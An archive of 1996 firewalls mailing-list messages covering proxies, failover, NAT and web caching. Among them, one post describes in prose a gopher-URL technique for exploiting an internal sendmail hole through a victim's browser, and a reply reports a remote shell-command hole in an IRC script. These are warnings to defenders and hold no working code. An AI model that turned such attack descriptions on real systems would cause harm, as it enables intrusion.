From firewalls-owner  Mon Mar  4 13:06:06 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA12274 for firewalls-outgoing; Mon, 4 Mar 1996 12:31:42 -0800 (PST)
Received: from orpheus.amdahl.com (orpheus.amdahl.com [129.212.11.6]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA12258 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 12:31:37 -0800 (PST)
Received: from cynic.org by orpheus.amdahl.com with smtp
	(Smail3.1.29.1 #3) id m0ttgtQ-0001gOC; Mon, 4 Mar 96 12:30 PST
Received: from sutr.cynic.org (localhost) by  cynic.org (5.x/SMI-SVR4)
	id AA28873; Mon, 4 Mar 1996 12:29:59 -0800
Message-Id: <9603042029.AA28873@ cynic.org>
To: firewalls@greatcircle.com
Subject: Re: Proxy-server for AOL client??? 
In-Reply-To: Your message of Thu, 29 Feb 1996 13:03:54 GMT.
             <01BB06A6.62043000@itcl1.uap.edu.ph> 
Date: Mon, 04 Mar 1996 12:29:58 -0800
From: Perry The Cynic <perry@sutr.cynic.org>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

For those who asked (more than I expected...):

My AOL relay demon can be retrieved via anonymous ftp from

	ftp.amdahl.com:/pub/users/perry/aolrelay.tar

If for some reason you have trouble using ftp, drop me a note
and I'll mail you a copy.

For those who asked what the big deal is - it isn't. It took me
about two hours to write the thing, and another hour to document it.
I'm sure that plug-gw will do fine; for that matter, a judicious
hole in your router will do. I just happen to have a preference for
custom relays.

Cheers
  -- perry
------------------------------------------------------------------------
Perry The Cynic                                          perry@cynic.org
To a blind optimist, an optimistic realist must seem like a Cursed Cynic.
------------------------------------------------------------------------

From firewalls-owner  Mon Mar  4 13:11:24 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA13114 for firewalls-outgoing; Mon, 4 Mar 1996 12:48:07 -0800 (PST)
Received: from voicenet.com (mail.voicenet.com [192.204.28.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA13089 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 12:47:22 -0800 (PST)
From: psiphi@voicenet.com
Received: from vdc703cv (cherryhill19.voicenet.com) by voicenet.com (4.1/SMI-4.1)
	id AA15831; Mon, 4 Mar 96 15:45:47 EST
Message-Id: <9603042045.AA15831@voicenet.com>
Comments: Authenticated sender is <psiphi@popmail.voicenet.com>
To: firewalls@greatcircle.com
Date: Mon, 4 Mar 1996 15:46:01 +0000
Subject: WWW Servers & Firewalls
Reply-To: psiphi@voicenet.com
X-Mailer: Pegasus Mail for Windows (v2.23)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I've been seaching for some documentation on how CGI scripting works
in relation to setting up a WWW server on the outside of a firewall
that would use CGI scripts to send and retrieve info from a database
server on the inside of a firewall and also start tn3270 sessions from
the WWW server to a SNA host inside of the firewall....is there any
documentation on the net on how this works or examples..of this 


Also how are other folks implementing there WWW servers to work with 
their  firewalls...as far as keeping corporate data secure and 
allowing only those external users with proper authorization access 
to this info.....

My thoughts since I'm new to this thing is to have the WWW server on 
the screened external subnet... the external users would access this 
server and the server initiate any requests for additional info from 
a database or other backend service on the internal side of the 
firewall...  The server would pass these requests through the 
firewall to the internal resources via some sort of CGI script.

And these requests could be facilitated via a Generic Proxy on the 
firewall.....

How more secure is this than allowing all external users to go 
through the proxy server to the WWW servers on the other side of the 
firewall.....

I prefer the first option myself but some others prefer the second 
option becuase it is easier to setup but I think that it is less 
secure becuase if the WWW server is compromised then the intruders 
are already beyond the firewall...

Anyone have any thoughts

Brian psiphi@voicenet.com

From firewalls-owner  Mon Mar  4 13:35:15 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA13554 for firewalls-outgoing; Mon, 4 Mar 1996 12:58:26 -0800 (PST)
Received: from minerva1.bull.it (minerva1.bull.it [138.70.10.27]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA13549 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 12:58:21 -0800 (PST)
Received: by minerva1.bull.it
	(5.65c/940824-01) id AA15508; Mon, 4 Mar 96 21:33:49 +0100
From: gvilla@minerva1.bull.it (Guido Villa)
Received-Date: Mon, 4 Mar 96 21:33:49 +0100
Message-Id: <199603042033.AA15508@minerva1.bull.it>
Subject: Re: Firewall Back-up
To: sgcccdc@citec.qld.gov.au (Colin Campbell)
Date: Mon, 4 Mar 1996 21:33:47 +0100 (MET)
Cc: firewalls@greatcircle.com
In-Reply-To: <199603040132.LAA08198@guru.citec.qld.gov.au> from "Colin Campbell" at Mar 4, 96 11:32:53 am
X-Mailer: ELM [version 2.4 PL22]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Colin, it seems interesting.
See in between ---- (below) for a couple of clarifications.

Target should be "fully automatic method" for master/back-up swap
(I mean without any operator intervention).

Guido Villa
  
> My mailer thinks Guido Villa said:
> > 
> > In order to get high-availability target this config should be set-up:
> > 
> > 
> > OUT NET
> > ----------------------------------------------------------------------
> >             |                       | 
> >             | .1                    | .2
> >         ---------               ---------
> >         |       |               |       |
> >         |       |               |       |
> >         |master |               |backup |
> >         ---------               ---------
> >             |                       |
> > IN NET      |                       |
> > ----------------------------------------------------------------------
> > 
> > "master" could crash or physical (tcp-ip down) or logical (telnet down).
> >                      --                        --
> >   
> > "backup" should be able to start automatically.
> > 
> > Thinking about DNS reconfiguration to be activated as "backup" detects 
> > "master"'s failures (physical/logical), which kind of solution is known?
> > 
> > I'm thinking for automatic updating of file "named" (ip-address .1 changed
> > with .2).
> 
> Most good OSes(?) (BSDI, Solaris, Linux) allow overloading of IP
> addresses on an interface.
> 
> Consider first, the inside network. For this example, assume that master
> is 192.9.200.2 and backup is 192.9.200.3. For the users we will have a
> pseudo-host "firewall" with the address 192.9.200.1. Users should only
> ever use "firewall".
> 
> When master boots, it configures the inside interface to have
> 192.9.200.2 (its real address) and 192.9.200.1 (to act as firewall).
----------------------------------------------------------------------------
How does "192.9.200.1" work ? (from DNS standpoint)
----------------------------------------------------------------------------
> Backup merely configures its inside interface as 192.9.200.3.
> 
> When backup determines master has died, and it really must be sure, it
> configures its inside interface with 192.9.200.1 and firewall is
> listening again.
> 
----------------------------------------------------------------------------
How does "configures" work ? Is it automatic ? Does it require "reboot",
others ?
----------------------------------------------------------------------------
> When master reboots it must check to see that "firewall" (192.9.200.1)
> is not configured anywhere before it configures that address.
> 
> You will also need to do the same thing for the outer interfaces.
> 
> This way your DNS does not need to change and you simply run backup as a
> secondary DNS server for master. 
> 
> Of course ALL sessions active when master dies will also die. With separate
> machine it is impossible to maintain them. So telnet/ftp sessions will die
> but WWW will probably continue although the page being loaded when "firewall"
> died will need to be reloaded.
> 
> Colin
> 


From firewalls-owner  Mon Mar  4 13:49:40 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA15380 for firewalls-outgoing; Mon, 4 Mar 1996 13:36:59 -0800 (PST)
Received: from inet1.tek.com (inet1.tek.com [134.62.48.21]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA15339 for <firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 13:35:53 -0800 (PST)
Received: by inet1.tek.com id <AA29224@inet1.tek.com>; Mon, 4 Mar 1996 13:33:39 -0800
Received: from tektronix.tek.com(134.62.48.24) by inet1 via smap (V1.3)
	id sma035085; Mon Mar  4 13:33:12 1996
Received: from orca.wv.tek.com by tektronix.TEK.COM (4.1/8.2)
	id AA02595; Mon, 4 Mar 96 13:33:06 PST
Received: from trouble.WV.TEK.COM by orca.wv.tek.com (4.1/8.2)
	id AA26812; Mon, 4 Mar 96 12:14:43 PST
Received: by trouble.WV.TEK.COM (4.1/8.0)
	id AA02897; Mon, 4 Mar 96 12:11:04 PST
Date: Mon, 4 Mar 1996 12:11:03 -0800 (PST)
From: Kent Dahlgren <kent@trouble.WV.TEK.COM>
To: firewalls@GreatCircle.COM
Subject: Re: IRC - possible problem.
In-Reply-To: <Pine.SUN.3.91.960304070830.2686A-100000@trouble>
Message-Id: <Pine.SUN.3.91.960304120638.2686I-100000@trouble>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Due to the mail I've got, I'd like to amplify and clarify what I know.  I 
can only confirm that this hack works from a UNIX based system; I don't 
know if works by attacking PC and Mac based IRC clients.  It is possible 
due to a hole in the CTCP protocol that is part of the IRC distribution.
I posted this here because I thought it may be the appropriate forum, but if 
it is not, please tell me, and I'll try and spead the word by other means.

Actually, I'd like to know how I could notify the best people to address 
this thing, now that I know its a little bigger than I thought.

dogman 

       "Any ideas expressed here may not reflect those of my employers"
______________________________________________________________________________
______ T E K T R O N I X _ C P I D _ T E C H N I C A L _ S U P P O R T _______
                      /
 Voice: 1.800.835.6100             E-mail: support@colorprinters.tek.com
    Fax: 1.503.685.3063                WWW: www.tek.com
     BBS: 1.503.685.4504            E-World: Keyword Tektronix
      HAL: 1.503.682.7450                AOL: Keyword Tektronix
   Service: 1.800.835.6100                FTP: ftp.tek.com
______________________________________________________________________________


From firewalls-owner  Mon Mar  4 15:49:51 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA20527 for firewalls-outgoing; Mon, 4 Mar 1996 15:37:01 -0800 (PST)
Received: from natproxy.ferntree.com.au ([203.12.79.20]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id PAA20521 for <Firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 15:36:55 -0800 (PST)
Received: by natproxy.ferntree.com.au; id KAA17718; Tue, 5 Mar 1996 10:35:15 +1100
Received: from unknown(172.16.1.20) by natproxy.ferntree.com.au via smap (V3.1)
	id xma017714; Tue, 5 Mar 96 10:35:08 +1100
Received: by natmailnotes.ferntree.com.au (IBM OS/2 SENDMAIL VERSION 1.3.14/2.12um) id AA2038; Tue, 05 Mar 96 10:32:38 +1000
Message-Id: <9603050032.AA2038@natmailnotes.ferntree.com.au>
Received: from Ferntree with "Lotus Notes Mail Gateway for SMTP" id
  E3A4B8F7A71F64324A2562E40002BD4E; Tue,  5 Mar 96 10:32:35 
To: Richard Boardman <boardmr@gb.swissbank.com>
Cc: Firewalls <Firewalls@GreatCircle.COM>
From: Colin Spence <Colin_Spence@ferntree.com.au>
Date:  5 Mar 96 10:40:29 
Subject: Re: Web Caching Proxy Servers
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> I'm looking at web caching proxy servers on behalf of my company.  

> We are aware of the Netscape proxy server, TIS http-gw and the CERN 
> httpd, are there any other products (Unix/NT) out there that we should
> be evaluating?
 
My understanding of the TIS http-gw is that it can't act as a Web Caching 
server.  Please correct me if I am wrong or there is a workaround.   From TIS:

Further to our recent telephone conversation, with regard to caching Web Pages, 
Gauntlet at this time does not deal with the caching of Web Pages. Trusted 
Information Systems wont implement this on the Firewall as they have deemed it 
insecure, this isn't to say that in future versions of Gauntlet this will not 
be addresses as a possible futureenhancement if demand is appropriate. We 
suggest that for most implementations, the Caching in the Web Browsing software 
is sufficient.
 
 
 Regards,

 Colin Spence
 Ferntree Computer Corporation


=================================================================================


I'm looking at web caching proxy servers on behalf of my company.  
 
Does anyone have any comments on available products or pointers to 
sources of information such as independent product evaluations or
comparisions? (aside from the regular marketing blurb).
 
We are aware of the Netscape proxy server, TIS http-gw and the CERN 
httpd, are there any other products (Unix/NT) out there that we should
be evaluating?
 
Our intention is to use it as a proxy only (ie. relaying and supplying 
requests for internal users -- there should be no outward-serving 
functionality at all).
 
I'm interested in the following aspects :-
* security
        -- source code availability
        -- any third party evaluations
        -- remapping/blocking of certain URLs
        -- content filtering (eg. Java)
        -- support for SSL, SHTTP
        -- secure logging
 
* performance considerations
        -- cache configuration, consistency methods and tuning
        -- number of users
        -- throughput (requests/second)
 
* general
        -- architecture (Unix/NT)
        -- support issues
        -- level of transparency to users
        -- ease of management
 
Thanks for any help, please can people send replies to me direct, I'll
post a summary.
 
Rick
--
>Rick Boardman>>IT>>>>>>>>>>>>>>>>>>>>>boardmr@gb.swissbank.com>
<SBC-Warburg, London. EC4V 3SB. UK.<<<<<<<0171-711 2940<<<<<<<<<

From firewalls-owner  Mon Mar  4 16:21:36 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA21624 for firewalls-outgoing; Mon, 4 Mar 1996 16:02:13 -0800 (PST)
Received: from GOOFY.FI.UPM.ES (goofy.fi.upm.es [138.100.8.23]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id QAA21619 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 16:02:04 -0800 (PST)
Received: from panoramix.fi.upm.es by relay.fi.upm.es (PMDF V5.0-6 #15665)
 id <01I1YLVFXD720000F4@relay.fi.upm.es> for firewalls@greatcircle.com; Tue,
 05 Mar 1996 01:00:24 +0100 (MET)
Received: by panoramix.fi.upm.es (8.6.11/FI-3.2) Thu, 29 Feb 1996 10:05:34 +0100
Date: Thu, 29 Feb 1996 10:05:33 +0100 (MET)
From: "Fco. Damian Ruiz Soriano" <damian@panoramix.fi.upm.es>
Subject: Linux NAT / ip-fw
To: firewalls@greatcircle.com
Message-id: <Pine.SUN.3.91.960229100348.4511B-100000@panoramix.fi.upm.es>
MIME-version: 1.0
Content-type: TEXT/PLAIN; charset=US-ASCII
Content-transfer-encoding: 7BIT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


I am a 4nd year computer science student at Universidad
Politecnica de Madrid, in Spain; and I am involved in a graduate
project on internet firewalls. Most of my research and reading
has been in this area - with my main focus on developing a
firewall to run in a Linux system. 

I'm interested in finding out any information on relating to 
NAT (Network Address Translation) programs preferably
to run on a Linux system; and the ip-fw package for linux.

If someone have more recent information on ip-fw package for
linux (or NAT for Linux) I'd appreciate a mail.


Thanks for your time,

Damian

_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/  damian@panoramix.fi.upm.es          Damian Ruiz Soriano         _/ 
_/      Caronte Proyect           Universidad Politecnica de Madrid _/
_/                                    Facultad de Informatica, CCFI _/
_/   PHO: (+34) (1) 336 7452             Campus de Montegancedo     _/ 
_/   FAX: (+34) (1) 336 7412      Boadilla del Monte E-28660 (SPAIN)_/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/

From firewalls-owner  Mon Mar  4 17:55:42 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA25480 for firewalls-outgoing; Mon, 4 Mar 1996 17:15:50 -0800 (PST)
Received: from night.dataphone.se (night.dataphone.se [194.23.92.80]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id RAA25455 for <firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 17:15:32 -0800 (PST)
Received: from night.dataphone.se (trident@night.dataphone.se [194.23.92.80]) by night.dataphone.se (8.6.12/8.6.9) with SMTP id CAA01488; Tue, 5 Mar 1996 02:13:21 +0100
Date: Tue, 5 Mar 1996 02:13:21 +0100 (MET)
From: Magnus Bergman <trident@dataphone.se>
Reply-To: Magnus Bergman <trident@dataphone.se>
Subject: Re: IRC - possible problem.
To: Kent Dahlgren <kent@trouble.WV.TEK.COM>
cc: firewalls@GreatCircle.COM
In-Reply-To: <Pine.SUN.3.91.960304120638.2686I-100000@trouble>
Message-ID: <ML-2.2.825988401.2583.trident@night.dataphone.se>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> Due to the mail I've got, I'd like to amplify and clarify what I know.  I 
> can only confirm that this hack works from a UNIX based system; I don't 
> know if works by attacking PC and Mac based IRC clients.  It is possible 
> due to a hole in the CTCP protocol that is part of the IRC distribution.
> I posted this here because I thought it may be the appropriate forum, but
> if  it is not, please tell me, and I'll try and spead the word by other
> means. 

I don't think this is a bug in the ircII-client it self or in the
IRC-implementations. Rather it is bugs/backdoors in different irc-scripts that
make this kind of things possible. For example in the IRC-script phoenix.irc (I
am not sure what versions it is/is not fixed in, I have been able to exploit it
in phoenix 2.25 here though) there is a bug that makes it possible to execute
any shell-commands remote if you have dcc autoget on. Generally autoget is
always a big NO-NO anyway but it is enabled by default at least in phoenix
2.25. The important guideline is: NEVER EVER run a IRC-scripts that you have
not looked through carefully. There are many nasty examples of scripts that
look quite legitimate after the first brief look but have all kinds of
backdoors/trojans and so on.

Regards
------------------------------------------------------------------------------
Magnus Bergman                                     Email: trident@dataphone.se
System Administrator                PGP Key: finger trident@night.dataphone.se 
Dataphone Sweden Inc.                           URL: http://www.trident.pp.se/
Stockholm / Sweden                                    Cellular: +46-708-658332
------------------------------------------------------------------------------
                You don't love a woman because she is beautiful, 
                   but she is beautiful because you love her
------------------------------------------------------------------------------


From firewalls-owner  Mon Mar  4 21:31:02 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA03405 for firewalls-outgoing; Mon, 4 Mar 1996 21:27:19 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA03400 for <firewalls@miles>; Mon, 4 Mar 1996 21:27:15 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id VAA06910; Mon, 4 Mar 1996 21:22:11 -0800
Received: from dub-img-1.compuserve.com(198.4.9.1) by mycroft via smap (V1.3mjr)
	id sma006908; Mon Mar  4 21:21:46 1996
Received: by dub-img-1.compuserve.com (8.6.10/5.950515)
	id AAA03336; Tue, 5 Mar 1996 00:23:25 -0500
Date: 05 Mar 96 00:20:16 EST
From: "S. W. Sidebottom" <72242.2264@compuserve.com>
To: web_secure <Web-secure@rutgers.edu>
Cc: firewalls <Firewalls@greatcircle.com>
Subject: Request for Information - Security
Message-ID: <960305052015_72242.2264_EHJ48-1@CompuServe.COM>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Gentlemen (or persons, no disrespect intended), we are in the process of
installing a Gauntlet internet firewall and have a number of internal Web sites.
We are interested in becoming part of discussion groups on security issues and
receiving any information on securing networks from internal and external
attacks.

Thanks
Steve Sidebottom, CISA, CISSP
Corporate Security Services
E-6100
Saudi Aramco
Dhahran 31311
Saudi Arabia


From firewalls-owner  Mon Mar  4 22:08:23 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA04410 for firewalls-outgoing; Mon, 4 Mar 1996 21:54:54 -0800 (PST)
Received: from fastlane.net (fastlane.net [204.251.16.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id VAA04405 for <Firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 21:54:50 -0800 (PST)
Received: from [204.251.16.78] ([204.251.16.78]) by fastlane.net (8.7.3/8.7.3) with SMTP id AAA28077; Tue, 5 Mar 1996 00:46:51 -0600 (CST)
X-Authentication-Warning: fastlane.net: Host [204.251.16.78] didn't use HELO protocol
Message-ID: <313BBE22.3F6D@fastlane.net>
Date: Mon, 04 Mar 1996 23:08:02 -0500
From: Howard Barnett <HBarnett@FastLane.NET>
Organization: Designs That Compute
X-Mailer: Mozilla 2.0 (Win16; I)
MIME-Version: 1.0
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
CC: Firewalls@GreatCircle.COM
Subject: Re: IP fragments and packet filters
References: <Pine.BSF.3.91.960301195334.3003C-100000@mcfeely.bsfs.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Rabid Wombat wrote:
> 
> On Fri, 1 Mar 1996, Paul Ferguson wrote:
> 
> > The fragmentation and, more importantly, reassembly should happen in this
> > case transparently long before it reaches your router/firewall/whatever.
> >
> > - paul
> 
> Yes - segment and re-assembly should occur at the edge devices.
> 
> >
> > At 10:28 PM 2/29/96 -0500, Charles B. Kaplan wrote:
> >
> > >>The only time you're ever likely to see a packet with FO=1 is if a bad guy is
> > >>knocking at your door.
> > >
> > >IE, my east coast LAN wants to connect to my west coast LAN, which will
> > >involve traversing (substitute your favorate backbone providers) ATM link.
> > >Therefor my 68byte header + data get dumped into larger (I forget frame size
> > >at the moment) ATM cell, which could POSSIBLY ?? cause one byte to cross a
> > >cell boundry, and thuse appear fragmented to the remote site ?
> > >
> ATM uses 53 byte cells, 48 bytes of payload, 5 bytes header. Much smaller
> than your IP packtes. SAR should occur before reaching your firewall,
> however.
> 
> - r.w.Right Lan Emulation makes the 48 byte payload transparent to IP.

From firewalls-owner  Mon Mar  4 23:59:47 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id XAA10330 for firewalls-outgoing; Mon, 4 Mar 1996 23:40:21 -0800 (PST)
Received: from uustar.starnet.net (uustar.starnet.net [199.217.253.12]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA04675 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 10:10:55 -0800 (PST)
Received: from hq.UUCP by uustar.starnet.net with UUCP id AA25240
  (5.67b/IDA-1.5 for greatcircle.com!firewalls); Mon, 4 Mar 1996 11:38:30 -0600
Received: (from daemon@localhost) by hq.agedwards.com (8.6.9/8.6.9) id LAA17879 for firewalls@greatcircle.com.outbound; Mon, 4 Mar 1996 11:10:40 -0600
Received: from igate.agedwards.com (igate.agedwards.com [159.45.56.11]) by hq.agedwards.com (8.6.9/8.6.9) with ESMTP id LAA17875 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 11:10:38 -0600
Received: from Microsoft Mail (PU Serial #1093)
  by igate.agedwards.com (PostalUnion/SMTP(tm) v2.1.8c for Windows NT(tm))
  id AA-1996Mar04.110800.1093.34752; Mon, 04 Mar 1996 11:11:45 -0600
From: nicholscs@agedwards.com (Nichols,Christopher)
To: firewalls@greatcircle.com (' firewalls@greatcircle.com')
Message-Id: <1996Mar04.110800.1093.34752@igate.agedwards.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: A.G. Edwards & Sons Inc.     St. Louis
Date: Mon, 04 Mar 1996 11:11:45 -0600
Subject: tcpdump
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Has anyone compiled tcpdump and libpcap on an HP9000?

Any hints/suggestions would be appreciated.

Thanks

Chris





From firewalls-owner  Tue Mar  5 00:48:57 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id AAA12430 for firewalls-outgoing; Tue, 5 Mar 1996 00:32:33 -0800 (PST)
Received: from orodruin.CS.Berkeley.EDU (orodruin.CS.Berkeley.EDU [128.32.38.24]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id AAA12425 for <firewalls@greatcircle.com>; Tue, 5 Mar 1996 00:32:29 -0800 (PST)
Received: from espresso.CS.Berkeley.EDU.mammoth (espresso.CS.Berkeley.EDU [128.32.33.40]) by orodruin.CS.Berkeley.EDU (8.7.Gamma.0/8.7.Gamma.0) with SMTP id AAA14150 for <firewalls@greatcircle.com>; Tue, 5 Mar 1996 00:30:59 -0800 (PST)
Received: by espresso.CS.Berkeley.EDU.mammoth (5.x/SMI-SVR4)
	id AA02195; Tue, 5 Mar 1996 00:30:41 -0800
From: daw@orodruin.CS.Berkeley.EDU (David A Wagner)
Message-Id: <9603050830.AA02195@espresso.CS.Berkeley.EDU.mammoth>
Subject: fun with the web and security
To: firewalls@greatcircle.com
Date: Tue, 5 Mar 1996 00:30:41 -0800 (PST)
Reply-To: daw@cs.berkeley.edu
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Here's a fun way to exploit security holes via the web:
	http://www.cs.berkeley.edu/~daw/js1.html
A rough representation of its contents follow.

(Apologies in advance if this topic has already appeared here; I thought it
might be worth passing on a note of warning.  Comments are welcome.)



Whee! The web is awfully convenient for exploiting security bugs.... 

The following URL contacts your sendmail SMTP server and attempts to exploit
an old, well-known security hole, trying to gain root access. Click _here_
to try it. 

As it stands, clicking on the URL above does not do anything harmful to your
machine-- but it could! (This is a test of the emergency broadcast system.
This is only a test.) 
______________

We can get you to send arbitrary text, to an arbitrary port on an arbitrary
host, from your machine.  (If you are inside a firewall, we can thereby send
arbitrary text to any internal machine by getting you to click on the link
above.) The technique is simple: we list the host and port in a gopher URL,
and encode the text to be sent in the path. 

For instance, a successful exploit of the hole could leave a backdoor root
shell, and inform us via a pseudonym at an anonymous remailer. 

The exploit could be hidden by use of the JavaScript "width=1,height=1"
techniques pioneered at John LoVerso's _JavaScript security hole page_; then
you wouldn't even know when you'd been attacked. 

The exploit could be forced on you via many standard tricks: the Redirect:
or META-EQUIV Refresh: or JavaScript mechanisms work fine, for instance. 

This is most dangerous when you are behind a firewall. Typically, there will
be many machines inside a firewall which run insecure software. Normally,
that would be safe, since the firewall prevents an outsider from connecting
to the unsafe sendmail servers inside-- yet the example URL above allows
outsiders like us to exploit security holes on the inside of your firewall.
Nothing stops us from putting the IP address of a vulnerable machine inside
your firewall in the URL above, and waiting for you to click on it: the
firewall doesn't prevent connections from you to the internal vulnerable
machine, and thus can't stop this attack. Using JavaScript, we don't even
have to wait for you to click on anything. Furthermore, a JavaScript program
could systematically and invisibly try all the machines inside your firewall. 

We could have used many other well-known security holes: there's nothing
special about this particular sendmail bug (except that it was convenient
for us to implement). 
______________

Be afraid. Be very afraid. 
-- Ian Goldberg and David Wagner. 

P.S. Thanks to Steve Bellovin for discussing a similar issue with me last week. 

From firewalls-owner  Tue Mar  5 01:31:24 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id BAA14323 for firewalls-outgoing; Tue, 5 Mar 1996 01:08:31 -0800 (PST)
Received: from brian.dynasuk.co.uk (brian.dynasuk.co.uk [194.200.17.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id BAA14318 for <firewalls@greatcircle.com>; Tue, 5 Mar 1996 01:08:26 -0800 (PST)
Received: (from uucp@localhost) by brian.dynasuk.co.uk (8.6.11/8.6.9) id JAA10042; Tue, 5 Mar 1996 09:03:53 GMT
Received: from ripley.dynasuk.co.uk(192.188.129.101) by brian.dynasuk.co.uk via smap (V1.3)
	id sma010040; Tue Mar  5 09:03:32 1996
Received: from zeberdee.dynasuk.co.uk (zeberdee.dynasuk.co.uk [192.188.129.134]) by ripley.dynasuk.co.uk (8.6.12/8.6.12) with SMTP id JAA04582; Tue, 5 Mar 1996 09:08:15 GMT
Date: Tue, 5 Mar 1996 09:03:01 +0000 (GMT)
From: Martin Hepworth <martin@dynasuk.co.uk>
To: boardmr@gb.swissbank.com
cc: firewalls@greatcircle.com
Subject: Caching the web
Message-ID: <Pine.NEB.3.91.960305085741.1013C-100000@zeberdee.dynasuk.co.uk>
X-Address: DynaSoft  8 South Parade  Summertown  Oxford OX2 7JL  UK
X-Voice: +44 (01)865 316333
X-Fax: +44 (01)865 316444
X-WWW: http://www.dynas.se
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Hi,
Try the Harvest web cacher, its the one the academics use over here,
check out http://harvest.cs.colorado.edu/ for the latest info.

Martin Hepworth

*****************************************************************
* Dynasoft			* Tel No. +44 (0)1865 316333    *
* 8 South Parade 		* Telefax +44 (0)1865 316444    *
* Summertown			* Support +44 (0)1865 316070    *
* Oxford 			* E-mail: martin@dynasuk.co.uk	*
* OX2 7JL, UK			* WWW	: http://www.dynas.se	*
*****************************************************************


From firewalls-owner  Tue Mar  5 02:02:11 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id BAA17823 for firewalls-outgoing; Tue, 5 Mar 1996 01:57:26 -0800 (PST)
Received: from GOOFY.FI.UPM.ES (goofy.fi.upm.es [138.100.8.23]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id BAA17809 for <firewalls@greatcircle.com>; Tue, 5 Mar 1996 01:57:00 -0800 (PST)
Received: from panoramix.fi.upm.es by relay.fi.upm.es (PMDF V5.0-6 #15665)
 id <01I1Z6M727FG0000F4@relay.fi.upm.es> for firewalls@greatcircle.com; Tue,
 05 Mar 1996 10:53:50 +0100 (MET)
Received: by panoramix.fi.upm.es (8.6.11/FI-3.2) Tue, 5 Mar 1996 10:53:49 +0100
Date: Tue, 05 Mar 1996 10:53:48 +0100 (MET)
From: "Fco. Damian Ruiz Soriano" <damian@panoramix.fi.upm.es>
Subject: Linux_NAT_ip_fw
To: firewalls@greatcircle.com
Message-id: <Pine.SUN.3.91.960305105207.10526C-100000@panoramix.fi.upm.es>
MIME-version: 1.0
Content-type: TEXT/PLAIN; charset=US-ASCII
Content-transfer-encoding: 7BIT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

 
I am a 4nd year computer science student at Universidad
Politecnica de Madrid, in Spain; and I am involved in a graduate
project on internet firewalls. Most of my research and reading
has been in this area - with my main focus on developing a
firewall to run in a Linux system. 

